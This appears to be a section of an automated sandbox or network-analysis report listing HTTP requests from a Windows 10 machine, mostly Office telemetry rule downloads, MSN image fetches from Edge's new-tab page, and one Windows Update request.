Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msB1O.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO7.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=GYdFb+Ghxpf3llu&MD=PAkvHKWw HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
